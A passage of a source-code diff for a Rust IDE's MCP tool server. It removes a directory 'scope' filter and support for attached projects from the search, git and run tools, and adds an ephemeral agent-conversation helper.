WindowGroupsChanged,
|
||||
/// A window entered or left full screen, itself or as a member of a full-screen window group.
|
||||
WindowFullscreenChanged,
|
||||
/// This remote window's connection to its host ended on its own (network loss, the host or
|
||||
/// its server went away); the window's project is unreachable until it reconnects.
|
||||
RemoteConnectionLost {
|
||||
host: String,
|
||||
},
|
||||
ProjectTrustChanged {
|
||||
root: crate::IpcPath,
|
||||
trusted: bool,
|
||||
|
||||
@@ -331,7 +331,7 @@ targetIndex, or narrow the call with a contextSnippet that shows the one you mea
|
||||
FileEdit::Rename { from, to } => vec![from, to],
|
||||
};
|
||||
for p in paths {
|
||||
if let Err(e) = call.ensure_writable_place(p) {
|
||||
if let Err(e) = super::super::tool::ensure_inside(call.root(), p) {
|
||||
let hint = format!(
|
||||
"{}. Nothing was renamed. A rename that must change a file outside the project cannot run here.",
|
||||
e.message
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
use super::page::{OFFSET, Page};
|
||||
use super::scope::{self, Scope};
|
||||
use super::tool::{Call, Output, Param, ParamType, Tool};
|
||||
use ide_core::{Diagnostic, IdeResult, Severity};
|
||||
use serde_json::{Map, Value, json};
|
||||
@@ -15,8 +14,7 @@ pub fn tools() -> Vec<Tool> {
|
||||
|
||||
Use this tool to explore current open editors.",
|
||||
open_editors,
|
||||
)
|
||||
.param(scope::param()),
|
||||
),
|
||||
Tool::new(
|
||||
"get_current_file",
|
||||
"Returns the focused editor's file and selection reported by the IDE.
|
||||
@@ -45,20 +43,18 @@ Lines and UTF-16 columns are 1-based.",
|
||||
project_problems,
|
||||
)
|
||||
.param(Param::optional("errorsOnly", ParamType::Boolean, "Only errors (default) or warnings too"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "Problems to return at most (default 100)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET)),
|
||||
]
|
||||
}
|
||||
|
||||
async fn open_editors(call: Call) -> IdeResult<Output> {
|
||||
let dir = Scope::of(&call)?;
|
||||
let windows = call.host.mcp_windows(call.root());
|
||||
let open = call.host.mcp_reports.editors(&windows);
|
||||
let active = call.host.mcp_reports.focused(call.window()).filter(|e| dir.contains(&e.path.0));
|
||||
let active = call.host.mcp_reports.focused(call.window());
|
||||
Output::json(json!({
|
||||
"activeFilePath": active.map(|e| call.display(&e.path.0)),
|
||||
"openFiles": open.iter().filter(|p| dir.contains(p)).map(|p| call.display(p)).collect::<Vec<_>>(),
|
||||
"openFiles": open.iter().map(|p| call.display(p)).collect::<Vec<_>>(),
|
||||
}))
|
||||
}
|
||||
|
||||
@@ -103,11 +99,9 @@ async fn file_problems(call: Call) -> IdeResult<Output> {
|
||||
async fn project_problems(call: Call) -> IdeResult<Output> {
|
||||
let page = Page::of(&call, PROBLEMS_LIMIT)?;
|
||||
let errors_only = call.flag("errorsOnly", true)?;
|
||||
let dir = Scope::of(&call)?;
|
||||
let files = call.host.mcp_reports.problems(&call.host.mcp_windows(call.root()));
|
||||
let problems: Vec<(String, Value)> = files
|
||||
.into_iter()
|
||||
.filter(|f| dir.contains(&f.path.0))
|
||||
.flat_map(|f| {
|
||||
let path = call.display(&f.path.0);
|
||||
let wanted = f.items.into_iter().filter(|d| !errors_only || d.severity == Severity::Error);
|
||||
|
||||
@@ -167,10 +167,7 @@ The `url` field in the result is as written in the file (unsubstituted); transpo
|
||||
}
|
||||
call.confirm(&subject, Some(detail)).await?;
|
||||
|
||||
// Exactly the request the user approved: preparing it again would read the
|
||||
// environment files again, which may name another destination by now.
|
||||
let redact_url = prepared.url.clone();
|
||||
let exchange = ide_http::send(prepared, Some(&path), &call.cancel).await?;
|
||||
let exchange = ide_http::run(input, &call.cancel).await?;
|
||||
let history = call.project().http_history.clone();
|
||||
let saved = exchange.clone();
|
||||
let _ = call.host().blocking(move || history.add(&saved)).await;
|
||||
@@ -191,7 +188,7 @@ The `url` field in the result is as written in the file (unsubstituted); transpo
|
||||
"status": response.map(|r| r.status),
|
||||
"statusText": response.map(|r| r.status_text.clone()),
|
||||
"totalMs": response.map(|r| r.total_ms).or(exchange.entry.total_ms),
|
||||
"error": redact_transport_error(exchange.entry.error.clone(), &redact_url),
|
||||
"error": redact_transport_error(exchange.entry.error.clone(), &prepared.url),
|
||||
"body": body,
|
||||
"bodyTruncated": body_truncated,
|
||||
}))
|
||||
|
||||
@@ -10,7 +10,6 @@ mod files;
|
||||
mod http;
|
||||
mod page;
|
||||
mod reports;
|
||||
mod scope;
|
||||
mod search;
|
||||
mod symbols;
|
||||
mod tool;
|
||||
@@ -55,17 +54,14 @@ impl Registry {
|
||||
if self.0.mcp_reports.remote_roots().iter().any(|p| p == root) {
|
||||
return Err("not supported for remote projects yet".into());
|
||||
}
|
||||
let projects = self.0.projects.read();
|
||||
let open = || projects.iter().filter(|(_, p)| !p.light);
|
||||
let mut windows: Vec<_> = open().filter(|(_, p)| p.root == root).map(|(w, p)| (w.clone(), p.clone())).collect();
|
||||
if windows.is_empty() {
|
||||
// A project attached to an open one: the window it is attached in.
|
||||
windows = open()
|
||||
.filter(|(_, p)| tool::attached_projects(&p.root).iter().any(|a| a == root))
|
||||
.map(|(w, p)| (w.clone(), p.clone()))
|
||||
.collect();
|
||||
}
|
||||
drop(projects);
|
||||
let mut windows: Vec<_> = self
|
||||
.0
|
||||
.projects
|
||||
.read()
|
||||
.iter()
|
||||
.filter(|(_, p)| p.root == root && !p.light)
|
||||
.map(|(w, p)| (w.clone(), p.clone()))
|
||||
.collect();
|
||||
let focused = self.0.mcp_reports.focused_window();
|
||||
windows.sort_by(|a, b| {
|
||||
(Some(&b.0) == focused.as_ref()).cmp(&(Some(&a.0) == focused.as_ref())).then(a.0.cmp(&b.0))
|
||||
@@ -75,10 +71,13 @@ impl Registry {
|
||||
}
|
||||
impl ToolRegistry for Registry {
|
||||
fn projects(&self) -> Vec<PathBuf> {
|
||||
let open: Vec<_> = self.0.projects().into_iter().filter(|p| !p.light).collect();
|
||||
// Attached projects are listed too, so a `projectPath` inside one names it.
|
||||
let attached: Vec<_> = open.iter().flat_map(|p| tool::attached_projects(&p.root)).collect();
|
||||
open.into_iter().map(|p| p.root.clone()).chain(attached).chain(self.0.mcp_reports.remote_roots()).collect()
|
||||
self.0
|
||||
.projects()
|
||||
.into_iter()
|
||||
.filter(|p| !p.light)
|
||||
.map(|p| p.root.clone())
|
||||
.chain(self.0.mcp_reports.remote_roots())
|
||||
.collect()
|
||||
}
|
||||
fn tools(&self, root: &Path) -> Result<Vec<ide_mcp::Tool>, String> {
|
||||
let (_, project) = self.target(root)?;
|
||||
|
||||
@@ -305,7 +305,6 @@ pub fn list_runs() -> Tool {
|
||||
start of the command, exit code and times. `get_run_status` gives a tab's whole status.",
|
||||
|call| async move {
|
||||
let page = Page::of(&call, LIST_LIMIT)?;
|
||||
let dir = crate::mcp::scope::Scope::of(&call)?;
|
||||
let wanted = call.opt_str("state")?.filter(|s| s != "all");
|
||||
let states = match wanted.as_deref() {
|
||||
None => None,
|
||||
@@ -326,8 +325,6 @@ start of the command, exit code and times. `get_run_status` gives a tab's whole
|
||||
.iter()
|
||||
.rev()
|
||||
.map(|r| r.status())
|
||||
// A tab belongs where its command runs.
|
||||
.filter(|s| dir.contains_shown(call.root(), s["workingDirectory"].as_str().unwrap_or_default()))
|
||||
.filter(|s| {
|
||||
states.as_ref().is_none_or(|states| s["state"].as_str().is_some_and(|v| states.contains(&v)))
|
||||
})
|
||||
@@ -344,7 +341,6 @@ start of the command, exit code and times. `get_run_status` gives a tab's whole
|
||||
ParamType::String,
|
||||
"all (default), running, idle (not running), error (failed, crashed, startFailed), or one state",
|
||||
))
|
||||
.param(crate::mcp::scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "Tabs to return at most (default 10)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
}
|
||||
|
||||
@@ -139,13 +139,8 @@ the whole command. Run points are found in Rust, JavaScript/TypeScript, Python a
|
||||
}
|
||||
let page = Page::of(&call, CONFIGURATIONS_LIMIT)?;
|
||||
let query = call.opt_str("query")?.map(|q| q.to_lowercase());
|
||||
let dir = crate::mcp::scope::Scope::of(&call)?;
|
||||
let list: Vec<Value> = configs
|
||||
.iter()
|
||||
// A configuration belongs where it runs.
|
||||
.filter(|c| {
|
||||
dir.contains(&c.cwd.as_deref().map_or_else(|| call.root().to_path_buf(), |d| call.root().join(d)))
|
||||
})
|
||||
.filter(|c| {
|
||||
query.as_ref().is_none_or(|q| {
|
||||
[c.name.as_str(), c.kind.as_str(), command_line(c).as_str()]
|
||||
@@ -169,7 +164,6 @@ the whole command. Run points are found in Rust, JavaScript/TypeScript, Python a
|
||||
in the file instead of project-wide run configurations.",
|
||||
))
|
||||
.param(Param::optional("query", ParamType::String, "Only configurations whose name, type or command contains it"))
|
||||
.param(crate::mcp::scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "Configurations to return at most (default 100)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
}
|
||||
|
||||
@@ -1,51 +0,0 @@
|
||||
//! The `scope` argument of the query tools: the directory their results are limited to, a
|
||||
//! folder of the project or a project attached to it.
|
||||
|
||||
use crate::mcp::tool::{Call, Param, ParamType};
|
||||
use ide_core::{IdeError, IdeResult};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
pub fn param() -> Param {
|
||||
Param::optional(
|
||||
"scope",
|
||||
ParamType::String,
|
||||
"Directory to limit results to: relative to the project root, or absolute",
|
||||
)
|
||||
}
|
||||
|
||||
/// No `scope`: everything.
|
||||
pub struct Scope(Option<PathBuf>);
|
||||
|
||||
impl Scope {
|
||||
pub fn of(call: &Call) -> IdeResult<Self> {
|
||||
let Some(raw) = call.opt_str("scope")?.filter(|s| !s.trim().is_empty()) else { return Ok(Self(None)) };
|
||||
let given = Path::new(raw.trim());
|
||||
let path = crate::mcp::tool::normalize(&if given.is_absolute() {
|
||||
given.to_path_buf()
|
||||
} else {
|
||||
call.root().join(given)
|
||||
});
|
||||
let path = dunce::canonicalize(&path).unwrap_or(path);
|
||||
if !path.is_dir() {
|
||||
return Err(IdeError::not_found(format!("scope {raw} is not a directory")));
|
||||
}
|
||||
let roots = std::iter::once(call.root().to_path_buf()).chain(call.project().content_roots());
|
||||
if !roots.into_iter().any(|root| path.starts_with(root)) {
|
||||
return Err(IdeError::invalid(format!("scope {raw} is outside the project")));
|
||||
}
|
||||
Ok(Self(Some(path)))
|
||||
}
|
||||
|
||||
pub fn dir(&self) -> Option<&Path> {
|
||||
self.0.as_deref()
|
||||
}
|
||||
|
||||
pub fn contains(&self, path: &Path) -> bool {
|
||||
self.0.as_ref().is_none_or(|dir| path.starts_with(dir))
|
||||
}
|
||||
|
||||
/// For a path the tools return: project-relative with `/`, or absolute.
|
||||
pub fn contains_shown(&self, root: &Path, path: &str) -> bool {
|
||||
self.0.is_none() || self.contains(&root.join(path))
|
||||
}
|
||||
}
|
||||
@@ -6,7 +6,6 @@
|
||||
//! the editor (one per character except emoji and other astral characters).
|
||||
|
||||
use crate::mcp::page::{OFFSET, Page};
|
||||
use crate::mcp::scope::{self, Scope};
|
||||
use crate::mcp::tool::{Call, Output, Param, ParamType, Tool};
|
||||
use crate::mcp::util::{INDEXING_PARTIAL_RESULT_REASON, MEDIUM_TIMEOUT};
|
||||
use crate::ops::search::SearchEvent;
|
||||
@@ -68,7 +67,6 @@ Examples: [\"src/**\", \"!**/test/**\"], [\"**/*.kt\"], [\"foo/\"].",
|
||||
|call| async move { text_search(call, false).await },
|
||||
)
|
||||
.param(Param::required("q", ParamType::String, "Text to search for"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("paths", ParamType::StringList, PATHS_DESCRIPTION))
|
||||
.param(Param::optional("limit", ParamType::Integer, LIMIT_DESCRIPTION))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
@@ -91,7 +89,6 @@ Examples: [\"src/**\", \"!**/test/**\"], [\"**/*.kt\"], [\"foo/\"].",
|
||||
|call| async move { text_search(call, true).await },
|
||||
)
|
||||
.param(Param::required("q", ParamType::String, "Regex pattern to search for"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("paths", ParamType::StringList, PATHS_DESCRIPTION))
|
||||
.param(Param::optional("limit", ParamType::Integer, LIMIT_DESCRIPTION))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
@@ -113,7 +110,6 @@ If you don't find a suitable result, try again with include_external=true to sea
|
||||
|call| async move { symbol_search(call).await },
|
||||
)
|
||||
.param(Param::required("q", ParamType::String, "Symbol query text"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("paths", ParamType::StringList, PATHS_DESCRIPTION))
|
||||
.param(Param::optional(
|
||||
"include_external",
|
||||
@@ -140,7 +136,6 @@ Paths are optional additional glob filters relative to the project root.",
|
||||
|call| async move { file_search(call).await },
|
||||
)
|
||||
.param(Param::required("q", ParamType::String, "Glob pattern to search for"))
|
||||
.param(scope::param())
|
||||
.param(Param::optional("paths", ParamType::StringList, PATHS_DESCRIPTION))
|
||||
.param(Param::optional(
|
||||
"includeExcluded",
|
||||
@@ -544,7 +539,6 @@ async fn text_search(call: Call, is_regex: bool) -> IdeResult<Output> {
|
||||
let pattern = query(&call, if is_regex { "Regex pattern is empty" } else { "Search text is empty" })?;
|
||||
let (page, limit) = page(&call, DEFAULT_LIMIT)?;
|
||||
let around = context(&call)?;
|
||||
let dir = Scope::of(&call)?;
|
||||
let scope = PathScope::new(call.root(), &call.str_list("paths")?)?;
|
||||
// Globs Find in Files cannot take are applied afterwards, so the engine must not
|
||||
// stop at `limit` matches the filter may drop.
|
||||
@@ -565,8 +559,7 @@ async fn text_search(call: Call, is_regex: bool) -> IdeResult<Output> {
|
||||
whole_word: false,
|
||||
include,
|
||||
exclude,
|
||||
// Only `scope` is walked.
|
||||
scope: dir.dir().map_or(SearchScope::Project, |d| SearchScope::Directory { path: d.to_path_buf().into() }),
|
||||
scope: SearchScope::Project,
|
||||
max_matches,
|
||||
context: Default::default(),
|
||||
};
|
||||
@@ -575,12 +568,8 @@ async fn text_search(call: Call, is_regex: bool) -> IdeResult<Output> {
|
||||
}
|
||||
let (files, summary, timed_out) = run_search(&call, query.clone()).await?;
|
||||
// Content roots outside the project are reported by absolute path.
|
||||
let mut files: Vec<(String, FileMatches)> = files
|
||||
.into_iter()
|
||||
.filter(|f| dir.contains(&f.path.0))
|
||||
.map(|f| (call.display(&f.path.0), f))
|
||||
.filter(|(path, _)| scope.matches(path))
|
||||
.collect();
|
||||
let mut files: Vec<(String, FileMatches)> =
|
||||
files.into_iter().map(|f| (call.display(&f.path.0), f)).filter(|(path, _)| scope.matches(path)).collect();
|
||||
files.sort_by(|a, b| a.0.cmp(&b.0));
|
||||
// Only these can match a line break.
|
||||
let may_span = is_regex || pattern.contains('\n');
|
||||
@@ -750,7 +739,6 @@ async fn run_search(call: &Call, query: SearchQuery) -> IdeResult<(Vec<FileMatch
|
||||
async fn file_search(call: Call) -> IdeResult<Output> {
|
||||
let q = query(&call, "Glob pattern is empty")?;
|
||||
let (page, limit) = page(&call, DEFAULT_LIMIT)?;
|
||||
let dir = Scope::of(&call)?;
|
||||
let scope = PathScope::new(call.root(), &call.str_list("paths")?)?;
|
||||
let include_excluded = call.flag("includeExcluded", false)?;
|
||||
let glob = GlobSetBuilder::new()
|
||||
@@ -760,19 +748,16 @@ async fn file_search(call: Call) -> IdeResult<Output> {
|
||||
// Ignored names and "Exclude files" patterns, which `read_dir` does not flag.
|
||||
let excludes = if include_excluded { None } else { Some(FileMask::new(&[], &call.project().search_excludes())?) };
|
||||
let root = call.root().to_path_buf();
|
||||
// `scope`, or the project folder and the content roots its walk does not cover: those
|
||||
// outside it and those inside it that it skips as ignored.
|
||||
let roots: Vec<PathBuf> = match dir.dir() {
|
||||
Some(dir) => vec![dir.to_path_buf()],
|
||||
None => std::iter::once(root.clone())
|
||||
.chain(
|
||||
call.project()
|
||||
.content_roots()
|
||||
.into_iter()
|
||||
.filter(|r| relative_to_root(&root, r).is_none() || ide_index::walk_skips(&root, r)),
|
||||
)
|
||||
.collect(),
|
||||
};
|
||||
// The project folder and the content roots its walk does not cover: those outside it and
|
||||
// those inside it that it skips as ignored.
|
||||
let roots: Vec<PathBuf> = std::iter::once(root.clone())
|
||||
.chain(
|
||||
call.project()
|
||||
.content_roots()
|
||||
.into_iter()
|
||||
.filter(|r| relative_to_root(&root, r).is_none() || ide_index::walk_skips(&root, r)),
|
||||
)
|
||||
.collect();
|
||||
let host = call.host();
|
||||
let walk = Walk {
|
||||
host: host.clone(),
|
||||
@@ -853,9 +838,9 @@ impl Walk {
|
||||
}
|
||||
}
|
||||
EntryKind::File => {
|
||||
// Files of content roots outside the project go by absolute path, with `/` as elsewhere.
|
||||
// Files of content roots outside the project go by absolute path.
|
||||
let path = relative_to_root(&self.root, &entry.path)
|
||||
.unwrap_or_else(|| entry.path.to_string_lossy().replace('\\', "/"));
|
||||
.unwrap_or_else(|| entry.path.to_string_lossy().into_owned());
|
||||
if self.glob.is_match(&path) && self.scope.matches(&path) {
|
||||
if found.len() == self.limit {
|
||||
return true;
|
||||
@@ -877,32 +862,23 @@ async fn symbol_search(call: Call) -> IdeResult<Output> {
|
||||
let q = query(&call, "Search query is empty")?;
|
||||
let (page, limit) = page(&call, SYMBOL_SEARCH_DEFAULT_LIMIT)?;
|
||||
let around = context(&call)?;
|
||||
let dir = Scope::of(&call)?;
|
||||
let scope = PathScope::new(call.root(), &call.str_list("paths")?)?;
|
||||
let external = call.flag("include_external", false)?;
|
||||
let host = call.host();
|
||||
let project = call.project().clone();
|
||||
let indexing_before = project.index.status().indexing;
|
||||
let pool = if scope.is_all() && dir.dir().is_none() {
|
||||
limit + 1
|
||||
} else {
|
||||
((limit + 1) * SYMBOL_POOL_FACTOR).min(MAX_SYMBOL_POOL)
|
||||
};
|
||||
let pool = if scope.is_all() { limit + 1 } else { ((limit + 1) * SYMBOL_POOL_FACTOR).min(MAX_SYMBOL_POOL) };
|
||||
let found = {
|
||||
let (project, q) = (project.clone(), q.clone());
|
||||
host.blocking(move || Ok(project.index.find_symbols(&q, ide_index::SymbolFilter::All, pool))).await?
|
||||
};
|
||||
let mut items: Vec<SearchItem> = found
|
||||
.into_iter()
|
||||
// By the path the other tools give: the index shows a root outside the project by its
|
||||
// folder name, which is no path to read.
|
||||
.filter(|s| dir.contains(&s.path.0))
|
||||
.map(|s| (call.display(&s.path.0), s))
|
||||
.filter(|(path, _)| scope.matches(path))
|
||||
.map(|(path, s)| SearchItem {
|
||||
.filter(|s| scope.matches(&s.rel_path))
|
||||
.map(|s| SearchItem {
|
||||
name: Some(s.name),
|
||||
container: s.container.filter(|c| !c.is_empty()),
|
||||
..SearchItem::at(path, s.range)
|
||||
..SearchItem::at(s.rel_path, s.range)
|
||||
})
|
||||
.collect();
|
||||
let mut timed_out = false;
|
||||
@@ -912,9 +888,9 @@ async fn symbol_search(call: Call) -> IdeResult<Output> {
|
||||
timed_out = out_of_time;
|
||||
for (name, container, location) in symbols {
|
||||
let path = location.uri.clone().unwrap_or_else(|| call.display(&location.path));
|
||||
// Project files obey `scope` and `paths`; library symbols are what was asked for.
|
||||
// Project files obey `paths`; library symbols are what was asked for.
|
||||
let inside = location.uri.is_none() && !Path::new(&path).is_absolute();
|
||||
if inside && !(dir.contains_shown(call.root(), &path) && scope.matches(&path)) {
|
||||
if inside && !scope.matches(&path) {
|
||||
continue;
|
||||
}
|
||||
let item = SearchItem {
|
||||
|
||||
@@ -211,7 +211,6 @@ pub fn find_references() -> Tool {
|
||||
Tool::new("find_references", "Find references using the language service and the IDE's project index. Positions are 1-based UTF-16. Reports incomplete results when analysis is still running.", |call| async move {
|
||||
let path = call.resolve_readable(&call.str("filePath")?).await?;
|
||||
let page = super::page::Page::of(&call, REFERENCES_LIMIT)?;
|
||||
let dir = super::scope::Scope::of(&call)?;
|
||||
let line = call.opt_i64("line")?.ok_or_else(|| IdeError::invalid("missing line"))?;
|
||||
let column = call.opt_i64("column")?.ok_or_else(|| IdeError::invalid("missing column"))?;
|
||||
let project = call.project.clone();
|
||||
@@ -249,12 +248,7 @@ pub fn find_references() -> Tool {
|
||||
// `classified`, when there, goes with `locations` one to one.
|
||||
if let serde_json::Value::Object(map) = &mut value {
|
||||
let mut list = |key: &str| match map.remove(key) { Some(serde_json::Value::Array(items)) => items, _ => Vec::new() };
|
||||
let (mut locations, mut classified) = (list("locations"), list("classified"));
|
||||
if dir.dir().is_some() {
|
||||
let inside = |l: &serde_json::Value| l["path"].as_str().is_some_and(|p| dir.contains(std::path::Path::new(p)));
|
||||
locations.retain(inside);
|
||||
classified.retain(|c| inside(&c["location"]));
|
||||
}
|
||||
let (locations, classified) = (list("locations"), list("classified"));
|
||||
let classified = page.take(classified, &mut serde_json::Map::new());
|
||||
let locations = page.take(locations, map);
|
||||
map.insert("locations".into(), locations.into());
|
||||
@@ -266,7 +260,6 @@ pub fn find_references() -> Tool {
|
||||
.param(Param::required("line", ParamType::Integer, "1-based line"))
|
||||
.param(Param::required("column", ParamType::Integer, "1-based UTF-16 column"))
|
||||
.param(Param::optional("includeDeclaration", ParamType::Boolean, "Include declarations (default true)"))
|
||||
.param(super::scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "References to return at most (default 100)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, super::page::OFFSET))
|
||||
}
|
||||
|
||||
@@ -37,12 +37,7 @@ impl Call {
|
||||
.collect()
|
||||
}
|
||||
pub fn resolve_inside(&self, path: &str) -> IdeResult<PathBuf> {
|
||||
resolve_inside(self.root(), path).or_else(|e| {
|
||||
// An absolute path may name a trusted attached project, wherever it is.
|
||||
let absolute = path.starts_with("file://") || Path::new(path).is_absolute();
|
||||
let attached = if absolute { self.trusted_attachments() } else { Vec::new() };
|
||||
attached.iter().find_map(|root| resolve_inside(root, path).ok()).ok_or(e)
|
||||
})
|
||||
resolve_inside(self.root(), path)
|
||||
}
|
||||
pub async fn resolve_writable(&self, path: &str) -> IdeResult<PathBuf> {
|
||||
let path = self.resolve_inside(path)?;
|
||||
@@ -51,24 +46,7 @@ impl Call {
|
||||
}
|
||||
pub async fn check_writable(&self, path: &Path) -> IdeResult<()> {
|
||||
self.project.require_trust()?;
|
||||
self.ensure_writable_place(path)
|
||||
}
|
||||
/// `path` is inside the project or a trusted project attached to it.
|
||||
pub fn ensure_writable_place(&self, path: &Path) -> IdeResult<()> {
|
||||
ensure_inside(self.root(), path).or_else(|e| {
|
||||
if self.trusted_attachments().iter().any(|root| ensure_inside(root, path).is_ok()) {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(e)
|
||||
}
|
||||
})
|
||||
}
|
||||
/// The projects attached to this one that the user trusts (each is trusted on its own).
|
||||
fn trusted_attachments(&self) -> Vec<PathBuf> {
|
||||
attached_projects(self.root())
|
||||
.into_iter()
|
||||
.filter(|root| self.host.trust.trusted(root).unwrap_or(false))
|
||||
.collect()
|
||||
ensure_inside(self.root(), path)
|
||||
}
|
||||
pub async fn ask(&self, request: ide_core::event::McpUiRequest) -> IdeResult<()> {
|
||||
self.host.mcp_requests.ask(self, request).await
|
||||
@@ -322,12 +300,3 @@ pub fn resolve_inside(root: &Path, raw: &str) -> IdeResult<PathBuf> {
|
||||
pub fn ensure_inside(root: &Path, path: &Path) -> IdeResult<()> {
|
||||
resolve_inside(root, &path.to_string_lossy()).map(|_| ())
|
||||
}
|
||||
|
||||
/// The projects attached to the one at `root` (its workspace members), `root` itself left out.
|
||||
pub(crate) fn attached_projects(root: &Path) -> Vec<PathBuf> {
|
||||
ide_workspace::workspace::Workspace::load(root)
|
||||
.ok()
|
||||
.flatten()
|
||||
.map(|w| w.projects.into_iter().filter(|p| p != root).collect())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
@@ -29,7 +29,7 @@ fn relative_to(root: &Path, path: &Path) -> String {
|
||||
};
|
||||
match rel {
|
||||
Some(rel) => rel.to_string_lossy().replace('\\', "/"),
|
||||
None => path.to_string_lossy().replace('\\', "/"),
|
||||
None => path.to_string_lossy().into_owned(),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -266,16 +266,11 @@ By default all Git repositories are returned.",
|
||||
.map(|r| (r.root.into_path_buf(), r.head))
|
||||
.collect();
|
||||
let wanted = call.opt_str("repositoryPathRelativeToProject")?;
|
||||
let scope = super::scope::Scope::of(&call)?;
|
||||
let git = git_executable(&call);
|
||||
// A repository asked for, or the one holding `scope`.
|
||||
let target = match &wanted {
|
||||
Some(wanted) => Some(call.resolve_inside(wanted)?),
|
||||
None => scope.dir().map(Path::to_path_buf),
|
||||
};
|
||||
let mut roots: Vec<(PathBuf, Option<String>)> = match target {
|
||||
let mut roots: Vec<(PathBuf, Option<String>)> = match &wanted {
|
||||
None => repos,
|
||||
Some(path) => {
|
||||
Some(wanted) => {
|
||||
let path = call.resolve_inside(wanted)?;
|
||||
// The innermost repository containing the path.
|
||||
match innermost_repo(repos, &path) {
|
||||
Some(repo) => vec![repo],
|
||||
@@ -287,8 +282,7 @@ By default all Git repositories are returned.",
|
||||
vec![(root, branch)]
|
||||
}
|
||||
None => {
|
||||
let shown = wanted.unwrap_or_else(|| call.display(&path));
|
||||
return Err(IdeError::not_found(format!("No git repository found for path: {shown}")));
|
||||
return Err(IdeError::not_found(format!("No git repository found for path: {wanted}")));
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -299,13 +293,12 @@ By default all Git repositories are returned.",
|
||||
for (root, branch) in roots {
|
||||
let rel = relative_to_project(&call, &root);
|
||||
let (git, dir) = (git.clone(), root.clone());
|
||||
let mut entries = host
|
||||
let entries = host
|
||||
.blocking(move || read_status(&git, &dir, include_untracked, include_ignored))
|
||||
.await
|
||||
.map_err(|e| {
|
||||
IdeError::internal(format!("Failed to get git status for repository '{rel}': {}", e.message))
|
||||
})?;
|
||||
entries.retain(|e| scope.contains(&root.join(e.path.trim_end_matches('/'))));
|
||||
let count = |f: fn(&StatusEntry) -> bool| entries.iter().filter(|e| f(e)).count();
|
||||
let listed: Vec<Value> = entries
|
||||
.iter()
|
||||
@@ -352,7 +345,6 @@ By default all Git repositories are returned.",
|
||||
))
|
||||
.param(Param::optional("includeUntracked", ParamType::Boolean, "Whether to include untracked files"))
|
||||
.param(Param::optional("includeIgnored", ParamType::Boolean, "Whether to include ignored files"))
|
||||
.param(super::scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "Entries to return per repository at most (default 100)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
}
|
||||
|
||||
@@ -262,6 +262,18 @@ pub async fn fork(host: &Host, window: &str, task: String, turns: Option<u32>) -
|
||||
host.project(window)?.agents.fork(&task, turns).await
|
||||
}
|
||||
|
||||
/// Creates a temporary side conversation of `source`: lives in memory only, never
|
||||
/// persisted, not listed.
|
||||
pub async fn create_ephemeral(
|
||||
host: &Host,
|
||||
window: &str,
|
||||
request: NewAgentTask,
|
||||
source: String,
|
||||
) -> IdeResult<AgentTask> {
|
||||
host.require_trust(window)?;
|
||||
host.project(window)?.agents.create_ephemeral(request, &source).await
|
||||
}
|
||||
|
||||
/// Drops the task's turns after its first `turns`; returns the message of the first dropped one.
|
||||
pub async fn rollback(host: &Host, window: &str, task: String, turns: u32) -> IdeResult<Option<AgentPrompt>> {
|
||||
host.require_trust(window)?;
|
||||
@@ -712,10 +724,7 @@ async fn probe_http_mcp_server(server: &ide_core::settings::AgentMcpServer) -> M
|
||||
if let Some(sid) = session_id.as_deref() {
|
||||
req = req.header("Mcp-Session-Id", sid);
|
||||
}
|
||||
let resp = req
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| format!("Request to `{url}` failed: {}", ide_http::client::describe(&e.without_url())))?;
|
||||
let resp = req.send().await.map_err(|e| format!("Request to `{url}` failed: {e}"))?;
|
||||
let status = resp.status();
|
||||
let next_session =
|
||||
resp.headers().get("mcp-session-id").and_then(|v| v.to_str().ok()).map(str::to_owned).or(session_id);
|
||||
|
||||
@@ -97,8 +97,6 @@ async fn resolve_launch(
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let _external_build = external_build;
|
||||
let local_repo = ide_sdk::apply::maven_local_repository(&project.root, &settings);
|
||||
// Module outputs the launch runs from a snapshot of: the originals must not come back.
|
||||
let mut snapshotted = Vec::new();
|
||||
let built = if delegated {
|
||||
let rebuild_on_jdt_errors = rebuild_on_jdt_errors(policy, prefer_maven, info.error_count);
|
||||
let outputs = project.java_launch_snapshots.lock().build(
|
||||
@@ -111,7 +109,6 @@ async fn resolve_launch(
|
||||
)?;
|
||||
let copies = use_snapshot(&mut info, &outputs.originals, &outputs.snapshot);
|
||||
apply_external_build_result(&mut info, outputs.failure, outputs.authoritative);
|
||||
snapshotted = outputs.originals;
|
||||
copies
|
||||
} else if external {
|
||||
let built = compile::build_for_launch(&project.root, &model, &module, test, build_kind, &cancel)?;
|
||||
@@ -140,7 +137,7 @@ async fn resolve_launch(
|
||||
&project.build_cache_dir(),
|
||||
&cancel,
|
||||
);
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, maven_cp, &snapshotted)?;
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, maven_cp)?;
|
||||
} else {
|
||||
append_unique_class_paths(&mut class_paths, std::mem::take(&mut info.class_paths));
|
||||
}
|
||||
@@ -301,23 +298,17 @@ fn same_entry(a: &str, b: &str, windows: bool) -> bool {
|
||||
|
||||
/// Merge the Maven launch classpath without turning a recoverable probe failure into a
|
||||
/// failed launch. Cancellation still propagates; ordinary failures keep jdtls' classpath
|
||||
/// and leave the reason in the run console. Maven lists the module's and its reactor
|
||||
